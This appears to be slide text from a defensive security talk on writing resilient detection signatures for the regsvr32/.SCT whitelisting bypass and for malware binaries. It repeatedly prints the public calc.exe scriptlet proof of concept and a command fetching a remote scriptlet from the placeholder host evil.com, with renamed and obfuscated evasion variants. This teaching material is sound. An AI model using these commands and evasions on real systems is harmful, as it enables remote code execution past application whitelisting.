$SignaturesAreDead = "Long Live RESILIENT Signatures" wide ascii nocase

Matthew Dunwoody
@matthewdunwoody
Senior Security Architect

Daniel Bohannon
@danielhbohannon
Senior Applied Security Researcher
whoami
s/ami/arewe

Matthew Dunwoody
@matthewdunwoody
Person

Daniel Bohannon
@danielhbohannon
Beard, Coffee & all things Obfuscation
Outline

- Background
- Detection Walkthrough #1 (regsvr32.exe)
- Detection Walkthrough #2 (.SCT script)
- Detection Walkthrough #3 (binaries)
- Hunting & Proactive Detection Development
- Takeaways
Outline

• **Background**
• Detection Walkthrough #1 (regsvr32.exe)
• Detection Walkthrough #2 (.SCT script)
• Detection Walkthrough #3 (binaries)
• Hunting & Proactive Detection Development
• Takeaways
<script language="DFIR-Speak">
What do you mean by "words"?

- Signature
- Trigger
- Rule
- IOC (Indicator of Compromise)
- Hunting
What do you mean by "words"?

- A/V Signature
- Real-time Trigger
- IDS/SIEM/Snort/etc. Rule
- Historical IOC (Indicator of Compromise)
- Threat Hunting
What do you mean by "words"?

**Detection**

/dəˈtekʃ(ə)n/  

*noun*  
the action or process of identifying the presence of something concealed.
What do you mean by "words"?

- Detection
  - Historical & real-time
  - Host- & network-based
  - Language/tool agnostic

**definition**: the action or process of identifying the presence of something concealed.
Signatures & Indicators
What are they? What are they not?

- File hashes?
- File names?
- IPs/domains?
- Twitter handles in source code?
Spot a Bad Signature

"You can hunt with THIS, or you can hunt with THAT…"

- File MD5 is 7188416f32cb876e275cd8e39cae9fd3
- File MD5 is bb2c2f0064f9046dd71140a9597827fe
- File MD5 is 492b3c3f2f6c4621791d10feba1aa866
- File MD5 is 41dd41e2302dc30e41b9ba62cf048cf9
- File MD5 is d7cebd0be5e4124a886123a2ef267f5
- File MD5 is cfa9569cfa20fc70322b06df29c77165
- File MD5 is f2365920c8f146de78495c00b53d8ab1

- Port Remote IP is 60.161.239.135
- Port Remote IP is 226.93.132.233
- Port Remote IP is 40.34.113.59
- Port Remote IP is 111.2.234.85
- Port Remote IP is 197.145.21.42
- DNS Host is throwaway-domain.com
- DNS Host is probs-never-used-again.net
What is a Good Signature? 
And WHO gets to decide?

- Who DEFINES good signatures?
  - Vendors? Salespeople?
  - Threat feed? Practitioners?

- Good signatures are:
  - Resilient (not rigid)
  - Methodology vs specific case
  - More proactive than reactive
  - Filters for data collection
(Don't) Learn from (Bad) Signatures
Garbage in, garbage out

This is an IOC

That is an IOC?

This is an IOC?

Threat Feed

This is an IOC

Garbage in, garbage out
Experience @ Scale
How we operate to find evil

- Hundreds of client & customer environments
- 10+ million endpoints
- Hundreds of network sensors
- Millions of malware samples
Outline

• Background
• Detection Walkthrough #1 (regsvr32.exe)
• Detection Walkthrough #2 (.SCT script)
• Detection Walkthrough #3 (binaries)
• Hunting & Proactive Detection Development
• Takeaways
Regsvr32.exe + .SCT
What's this SquiblyDoo you speak of?

- Found by Casey Smith (@subTee) in 2016
- App whitelisting bypass
- Regsvr32.exe to execute local or remote .SCT file scripting contents

Detection opportunities:
- Regsvr32.exe execution
  - Arguments
  - .DLL loads
  - Network connection
- .SCT file contents
  - Network & Host
Regsvr32.exe + .SCT
The original POC

```xml
<?XML version="1.0"?>
<scriptlet>
<registration
    proid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}"
    <![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
```

Command:
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- **Command**
  ```
  regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
  ```

- `regsvr32.exe`
- `/s /n /u /i:http://`
- `.sct`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

```bash
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
```

- `regsvr32.exe`
- `/s /n /u /i:http://#`
- `.sct`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments

KnowYourOptions

Command

```plaintext
regsvr32.exe /s /n /u /i:https://evil.com/bla.sct scrobj.dll
```

- regsvr32.exe
- /s /n /u /i:http:
- .sct
- scrobj.dll
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

```
regsvr32.exe /s /n /u /i:https:\\evil.com/bla.sct scrobj.dll
```

- regsvr32.exe
- /s /n /u /i:http
- .sct
- scrobj.dll

- /i:http:
- /i:https
- /i:ftp:
- /i:\\remote\c$
- /i:C:\Temp\bla.sct
- /i:bla.sct
Detecting Regsvr32.exe Arguments

KnowYourOptions

Command

```
regsvr32.exe /s /n /u /i:https:\\evil.com/bla.sct scrobj.dll
```

- regsvr32.exe
- /s /n /u
- /i:http
- .sct
- scrobj.dll
Detecting Regsvr32.exe Arguments

#KnowYourOptions

**Command**

```shell
regsvr32.exe /u /n /s /i:https:\evil.com/bla.sct scrobj.dll
```

- `regsvr32.exe`
- `/s`
- `/n`
- `/u`
- `/i:http`
- `.sct`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

```
regsvr32.exe /u /i:https:\\evil.com/bla.sct /n scrobj.dll /s
```
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- regsvr32.exe
- /s
- /n
- /u
- /i:https
- .sct
- scrobj.dll

Command:

```
regsvr32.exe /u /i:https:evil.com/bla.sct /n scrobj.dll /s
```

- /n – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with /i.
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

```
regsvr32.exe /u /i:https:\\evil.com/bla.sct scrobj.dll /s
```

- `regsvr32.exe`
- `/s`
- `/n`
- `/u`
- `/i:http`
- `.sct`
- `scrobj.dll`

- `/n` – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with `/i`.
- FALSE! Not required 😊
Detecting Regsvr32.exe Arguments

#KnowYourOptions

- regsvr32.exe
- /s
- /u
- /i:http
- .sct
- scrobj.dll

Command

```
regsvr32.exe /u /i:https:\\evil.com/bla.sct scrobj.dll /s
```

- /n – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with /i.
- FALSE! Not required 😊
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

```
regsvr32.exe /u /i:https:\\evil.com/bla.sct scrobj.dll /s
```
Detecting Regsvr32.exe Arguments

#KnowYourOptions

**Command**

```
regsvr32.exe -u -i:https:\\evil.com/bla.sct scrobj.dll -s
```

- `regsvr32.exe`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `.sct`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments
#KnowYourOptions

Command

```
regsvr32.exe -u -i:https:\evil.com/bl.a.sct scrobj.dll -s
```

- `regsvr32.exe`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `.sct`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments

#KnowYourOptions

**Command**

```
regsvr32.exe -u -i:https:\evil.com/bla\scrobj.dll -s
```

- `regsvr32.exe`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `.set`
- `scrobj.dll`
Detecting Regsvr32.exe Arguments

#KnowYourOptions

- regsvr32
- /s or -s
- /u or -u
- /i:http or -i:http
- scrobj

Command

```
regsvr32 -u -i:https:\\evil.com/blab scrobj -s
```
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- `regsvr32`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `scrobj`

**Command**: `regsvr32 -u -i:https:\\evil.com/bla scrobj -s`
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- `regsvr32`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `scrobj`

**Command**

```
regsvr32 -u -i:https:\\evil.com/bla scrobj -s
```

**Renaming**

```
C:/> copy regsvr32.exe casey.exe
C:/> copy scrobj.dll smith.dll
```
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- `regsvr32`
- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
- `scrobj`

**Command**
```
casey -u -i:https:\\evil.com/bla smith -s
```

**Renaming**
```
C:\> copy regsvr32.exe casey.exe
C:\> copy scrobj.dll smith.dll
```
Detecting Regsvr32.exe Arguments

#KnowYourOptions

- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`

Example Command:
```
casey -u -i:https:\\evil.com/bla smith -s
```
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- /s or -s
- /u or -u
- /i:http or -i:http

Command:
```
casey -u -i:https:\\evil.com/bla smith -s
```
Detecting Regsvr32.exe Arguments

#KnowYourOptions

```
casey -ugh... -i:https:\evil.com/blashmith -s
```

- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`
Detecting Regsvr32.exe Arguments

#KnowYourOptions

- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`

Command

casey -ugh... -i:https:\\evil.com/bla smith -stop-it!
Detecting Regsvr32.exe Arguments

#KnowYourOptions

- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`

Command

casey -ugh... -i:https:\evil.com/bla smith -stop-it!
Detecting Regsvr32.exe Arguments
#KnowYourOptions

- `/s` or `-s`
- `/u` or `-u`
- `/i:http` or `-i:http`

Command

casey "-"ugh... -i:https:\evil.com/bla smith -""stop-it!"
Detecting Regsvr32.exe Arguments

#KnowYourOptions

Command

casey "-"ugh... -"i":ht"tps:\\evil.com/bla smith -""stop-it!

- /s or -s
- /u or -u
- /i:http or -i:http
Detecting Regsvr32.exe Arguments

Different approaches pay off…

- Arguments w/o obfuscation
- Handle obfuscation separately
- Handle renamed .exe/.dll separately
- Regsvr32.exe network connections
- Regsvr32.exe image load events
  - Jscript.dll, jscript9.dll, vbscript.dll
- Regsvr32.exe args over the network
Outline

- Background
- Detection Walkthrough #1 (regsvr32.exe)
- **Detection Walkthrough #2 (.SCT script)**
- Detection Walkthrough #3 (binaries)
- Hunting & Proactive Detection Development
- Takeaways
Detecting .SCT Content
YARA fans & network analysts awaken…

```
<?XML version="1.0"?>
<scriptlet>
<registration

  progid="PoC"
  classid="{F0001111-0000-0000-0000-00000000FEEDACDC}"

  <!-- Proof Of Concept - Casey Smith @subTee -->
  <!-- License: BSD3-Clause -->
  <script language="JScript">
    <![CDATA[
      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>  

  </script>

</registration>
</scriptlet>
```

Command:
```
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
```
Detecting .SCT Content
YARA fans & network analysts awaken…

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="PoC"
  classid="{F0001111-0000-0000-0000-00000000FEEDACDC}"
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <!-- License: BSD3-Clause -->
  <script language="JScript">
    <![CDATA[
      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>  
  </script>
</registration>
</scriptlet>

What's common? (there by default) #lazyhacker
YARA fans & network analysts awaken…

/private/sct

What's common? (there by default) #lazyhacker
Detecting .SCT Content
YARA fans & network analysts awaken…

- What's common? (there by default) #lazyhacker
- What's required?
Detecting .SCT Content
YARA fans & network analysts awaken…

```xml
<?xml version="1.0"?>
<scriptlet>
<registration
 progid="PoC"
classid="{F0001111-0000-0000-0000-00000000FEEDACDC}">
 <!-- Proof Of Concept - Casey Smith @subTee -->
 <!-- License: BSD3-Clause -->
<script language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
 ]]>
</script>
</registration>
</scriptlet>
```

- What's common? (there by default) #lazyhacker
- What's required?
Detecting .SCT Content

YARA fans & network analysts awaken…

What's common? (there by default) #lazyhacker

What's required?

```xml
<?XML?>
<scriptlet>
<registration>
  classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    </script>
  </registration>
</scriptlet>
```
Detecting .SCT Content

YARA fans & network analysts awaken…

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?

```xml
<?xml?>
<scriptlet>
<registration>
    <script language="JScript">
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    </script>
</registration>
</scriptlet>
```
Detecting .SCT Content

YARA fans & network analysts awaken...

```xml
<?XML?>
<scriptlet>
<registration classid="{F0001111-0000-0000-0000-0000FEEDACDC}">

<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?
 Detecting .SCT Content

YARA fans & network analysts awaken...

```xml
<?XML?>
<scriptlet>
<registration classid='{F0001111-0000-0000-0000-00000000FEEDACDC}'>
<script language='JScript'>
    var r = new ActiveXObject('WScript.Shell').Run('calc.exe');
</script>
</registration>
</scriptlet>
```

- What's common? (there by default)  #lazyhacker
- What's required?
- What can change?
Detecting .SCT Content
YARA fans & network analysts awaken...

bla.sct

```xml
<?XML?>
<scriptlet>
<registration classid='{F0001111-0000-0000-0000-000000000000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?

https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
Detecting .SCT Content

YARA fans & network analysts awaken…

```
<?XML?>
<scriptlet>
  <registration>
    <classid>\{FDB01111-0000-0000-0000-0000FEEDACDC\}</classid>
    <script language='JScript'>
      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    </script>
  </registration>
</scriptlet>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?

https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
Detecting .SCT Content
YARA fans & network analysts awaken...

What's common? (there by default) #lazyhacker

What's required?

What can change?

```xml
<?xml?>
<scriptlet>
<registration

classid='\{FDB0FDB0-0000-0000-0000-0000FEEDACDC\}'>

<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

</script>
</registration>
</scriptlet>
```

https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
Detecting .SCT Content

YARA fans & network analysts awaken…

```xml
<?XML?>
<scriptlet>
<registration
    classid='{FDB0FDB0-FDB0-FDB0-FDB0-0000FEEDACDC}'>
    <script language='JScript'>
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    </script>
</registration>
</scriptlet>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?

[AC/DC logo]

https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
Detecting .SCT Content

YARA fans & network analysts awaken…

What's common?
(there by default) #lazyhacker

What's required?

What can change?

```xml
<?XML?>
<scriptlet>
<registration

classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFDB0}'>

<script language='JScript'>

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

</script>
</registration>
</scriptlet>
```

https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
Detecting .SCT Content
YARA fans & network analysts awaken...

What's common? (there by default) #lazyhacker

What's required?

What can change?
Detecting .SCT Content
YARA fans & network analysts awaken…

```xml
<component>
  <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFDB0}'>
    <script language='JScript'>
      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    </script>
  </registration>
</component>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?
Detecting .SCT Content
YARA fans & network analysts awaken...

<?XML?>
<component>
<registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-FDB0FDB0FDB0}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</component>

What's common? (there by default) #lazyhacker
What's required?
What can change?
JScript
VBScript
JScript.Encode
VBScript.Encode

bla.sct
Detecting .SCT Content
YARA fans & network analysts awaken...

```
<?XML?>
<component>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-FDB0-FDB0-FDB0}'>
<script
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</component>
```

- What's common? (there by default)
  - lazyhacker
- What's required?
- What can change?
  - JScript
  - VBScript
  - JScript.Encode
  - VBScript.Encode

bla.sct
Detecting .SCT Content
YARA fans & network analysts awaken...

bla.sct

```
<?XML
<component>
<registration>
  <script>
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
  </script>
</registration>
</component>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?
- What can be added?
Detecting .SCT Content
YARA fans & network analysts awaken...

```xml
<?XML>
<component>
<registration>
  classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFDDB0}'
  <script>
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
  </script>
</registration>
</component>
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?
- What can be added?
Detecting .SCT Content
YARA fans & network analysts awaken...

```
<?XML          ?><component          ><registration classid =
'{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFFDB0}'    ><script
>var r = new ActiveXObject ( "WScript.Shell" ) . Run
( "calc.exe" ) ; </script   ></registration   ></component   >
```

- What's common? (there by default) #lazyhacker
- What's required?
- What can change?
- What can be added?
Detecting .SCT Content
Different approaches pay off...

```xml
<?xml   ?><component   ><?registration classid =
'{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'   ><?script
>var r = new ActiveXObject ( "WScript.Shell" ) . Run
( "calc.exe" ); </script   ><?/registration   ><?/component   >
```

- Network detections:
  - Download over HTTP
  - Transfer over SMB

- Host detections:
  - Downloaded .SCT file (extension doesn’t matter) in
    - \Temporary Internet Files\
    - \InetCache\
Detecting .SCT Content
Different approaches pay off...

- Script w/o obfuscation
- Handle obfuscation separately
- Focus on default strings (lazy attacker)
- Focus on anchors (“<registration”) with ABSENCE of default strings
- Detections against scripting content payload regardless of .SCT wrapper
  - DotNetToJScript
Outline

- Background
- Detection Walkthrough #1 (regsvr32.exe)
- Detection Walkthrough #2 (.SCT script)
- Detection Walkthrough #3 (binaries)
- Hunting & Proactive Detection Development
- Takeaways
Binaries

Why?

▪ Attackers still use malicious binaries
▪ Malware changes frequently
  – Polymorphic
  – Builders
  – Version updates
▪ Can’t always rely on AV
  – AV sigs lag
  – Easy to test against, easy to bypass
  – Can’t always submit malware to vendors
▪ ML is great but it depends on the model and implementation - doesn’t detect everything
▪ Validate the effectiveness of existing detection
▪ Intelligence gathering, eg. VT retrohunt
Binaries

When

- Existing detection/protection ineffective AND:
  - Active intrusion
  - High-priority threat
  - Prolific or publicly-available malware
- Need additional context beyond “it’s bad”
- Intel gathering, tagging, etc.

https://medium.com/@dunstconsulting/the-different-types-of-malware-analysis-c9fbbaa44739
Binaries
Define your signatures

- What do you want to find
  - E.g. all Chopstick malware variants
  - Where do you want to find it
  - Endpoints, network, sandbox, etc.

- What signature formats are supported and best-suited
  - Yara, Yara + PE module, OpenIOC, Stix, ClamAV

- False positive tolerance
Binaries
Collect data

- For attacker malware, collect as many samples as you can find, from as many variants as possible
  - Collect hashes from high-confidence sources
    - Threat intel feeds
    - Blogs
    - Public malware repos
    - Malware analysis reports
  - VirusTotal intelligence
  - Implant builders
Binaries

Collect data

- For public malware, generate representative samples
  - Use multiple versions, if updates are available
  - Generate variants for all of the significant options in a builder
    - Focus on options that impact the structure or behavior of the malware
  - Use common packers and obfuscators
    - UPX
    - ConfuserEx (.Net)
Binaries
Test on what you already have

▪ What alerts are generated?
▪ What data is produced?
▪ Do you need to continue?

http://www.educationviews.org/wp-content/uploads/2017/03/petri-dish-used-for_f5f2b18d-d028-4921-9ad0-938bb9d3720b.jpg
**Binaries**

**Enumerate data**

- Collect dynamic execution details
  - Sandbox reports
  - Online sandboxes, vendor sandboxes, Cuckoo
  - Malware reports and blogs
  - Manual dynamic analysis
  - Process memory / strings

- Parse binaries using tools
  - PEEExplorer, CFF Explorer, others
  - SigCheck
  - FLOSS / Strings
  - Vendor analysis engine
Binaries
Sort and filter your samples

- Group samples based on output
  - Windows vs. OSX vs. *nix
  - EXE vs. DLL version
  - Different import hashes
- Look for outliers that may not belong
- Look for commonalities across remaining samples
- Divide further when commonalities break down
Binaries
Enumerate common elements

Look for common elements within each group and across groups

- Strings
- Binary sequences
- Imports(exports
- Sections/non-section data
- Version info
- Resources
- Size range
- Export timestamp range
- Export name
- Compile date range
  - Compile hash
- Authenticode signature
- Dynamic execution items
  - Persistence
  - Mutexes
  - Named pipes
  - C2
  - Handles to config file/reg
  - Strings decoded in memory
  - Injection into a known process
Binaries

Enumerate common elements

Look for common elements within each group and across groups

- Strings
- Binary sequences
- Imports/exports
- Sections/non-section data
- Version info
- Resources

- Size range
- Export timestamp range
- Dynamic execution items
  - Persistence
  - Mutexes
  - Handles to config file/reg
  - Strings decoded in memory
  - Injection into a known process

- Literally anything else you can use as part of your tools

- Compile hash
- Authenticode signature
Binaries
Develop your signature

- Use common elements as starting point for your signature
  - If it detects all known versions, based on common elements, increases the chance of catching future versions
- Use behavior-based detections where you can
- Incorporate both structure of malware and attacker TTPs in deploying/using it
- Make the signature as broad as possible, with acceptable FP rate
Binaries
Develop your signature

▪ If imitating a legitimate binary, how does it compare to the real one(s)?

▪ Add in all of the weaker IOCs
  – file hashes, unique file paths
  – import hashes and other "fuzzy" hashes
  – IPs, domains, URIs, etc.

▪ Don't forget about config files, reg keys, etc.

▪ Detect as many ways as you can, while maintaining target FP rate
Binaries

Test

- Run it!
  - Against your test samples
  - Against clean systems
  - Against corpus of malware & binaries
    - VT retrohunt, WSUS, etc.
  - Test environment (if available)
  - Production test

- Review hits, update (for TPs & FPs) and iterate
- Keep the rule as broad as possible while maintaining target FP rate

ONE DOES NOT SIMPLY TEST IN PRODUCTION!

https://makeameme.org/meme/one-does-not-y49d8t
Binaries
The more you know…

- Sandbox and malware reports
- Light dynamic analysis
- Light static analysis
  - PE, ELF, Mach-O
- Specific binary types
  - .NET, Golang, *2exe
- Packers and obfuscators
- Go full IDA, if you can
Outline

- Background
- Detection Walkthrough #1 (regsvr32.exe)
- Detection Walkthrough #2 (.SCT script)
- Detection Walkthrough #3 (binaries)
- Hunting & Proactive Detection Development
- Takeaways
Proactive Detection

Detect across the attack lifecycle

- Initial Compromise
  - Social engineering
  - External compromise

- Establish Foothold
  - Custom malware
  - C2
  - App exploitation

- Escalate Privileges
  - Credential theft
  - Password cracking
  - “Pass-the-hash”

- Internal Recon
  - Critical system recon
  - System, Active Directory, and user enumeration

- Complete Mission
  - Staging servers
  - Data consolidation
  - Data theft

- Maintain Presence
  - Backdoor variants
  - VPN subversion
  - Sleeper malware

- Move Laterally
  - Net use commands
  - Reverse shell access
Proactive Detection

Hunting

- Form a hypothesis of a way to find evil and test
  - Gather data and conduct analysis
- One output of hunting should be new detections
  - Blacklist evil or whitelist good
- If you’re hunting for the same things over and over, consider automating that process into a detection

Proactive Detection
Where else do our detection ideas come from?

▪ Active and historic attacker activity in hundreds of Incident Response engagements and managed service customers

▪ Analyzing malware samples from engagements and malware repositories (internal/external)

▪ Intel (the good kind)

▪ Open source research - Twitter, Github, vendor blog posts, etc. (Github history is an invaluable resource)

▪ Crazy whims – IWHO (“I Wonder How Often...”)
Outline

- Background
- Detection Walkthrough #1 (regsvr32.exe)
- Detection Walkthrough #2 (.SCT script)
- Detection Walkthrough #3 (binaries)
- Hunting & Proactive Detection Development
- Takeaways
Takeaways
I’ll take mine to go

- Know what you are detecting today and HOW you are detecting it
  - What data sources?
  - What toolsets?
  - What timeframes (lag time to actionable alert/data)?

- Know your assumptions about attacker techniques and your own visibility

- Capture result of hunts as new detections
Takeaways
Second helping

Know your tools
- Validate data sources with more than one tool
- Understand limitations of toolsets and/or artifacts and compensate elsewhere (build your own, open source tooling, etc.)

Automate repetitive tasks to free you up to more effectively develop methodology-based detections
- Initial idea and detection development
- Tuning/scraping/rebuilding of detection
- Monitoring and tuning going forward for detection
Thank You!

@matthewdunwoody
@danielhbohannon